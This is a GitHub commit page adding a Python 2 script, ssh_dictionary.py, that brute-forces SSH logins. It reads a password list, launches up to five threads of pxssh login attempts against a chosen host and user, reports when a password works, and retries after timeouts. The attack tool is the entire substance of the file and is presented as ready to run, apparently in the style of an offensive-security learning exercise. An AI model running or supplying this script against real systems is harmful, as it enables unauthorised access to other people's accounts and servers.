Skip to content

Commit

Permalink
Created ssh_dictionary.py
Browse files Browse the repository at this point in the history
  • Loading branch information
ninijay committed Oct 31, 2017
1 parent f3ea834 commit 51c8e77
Showing 1 changed file with 53 additions and 0 deletions.
53 changes: 53 additions & 0 deletions ssh/ssh_dictionary.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
found = False
fails = 0
def connect(host, user, pw, release):
global found
global fails
try:
s = pxssh.pxssh()
s.login(host, user, pw)
print '[+] Password found: ' + pw
found = True
except Exception, e:
if 'read_nonblocking' in str(e):
fails += 1
time.sleep(5)
connect(host, user, pw, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, pw, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H <target host> -u <user> -F <password-list>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passFile = options.passwdFile
user = options.user
if host == None or passFile == None or user == None:
print parser.usage
exit(0)
fn = open(passFile, 'r')
for line in fn.readlines():
if found:
print "[*] Exiting: Password found"
exit(0)
if fails > 5:
print "[!] Exiting: Too Many SOcket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip("\r").strip("\n")
print "[-] Testing: " + str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()

0 comments on commit 51c8e77

Please sign in to comment.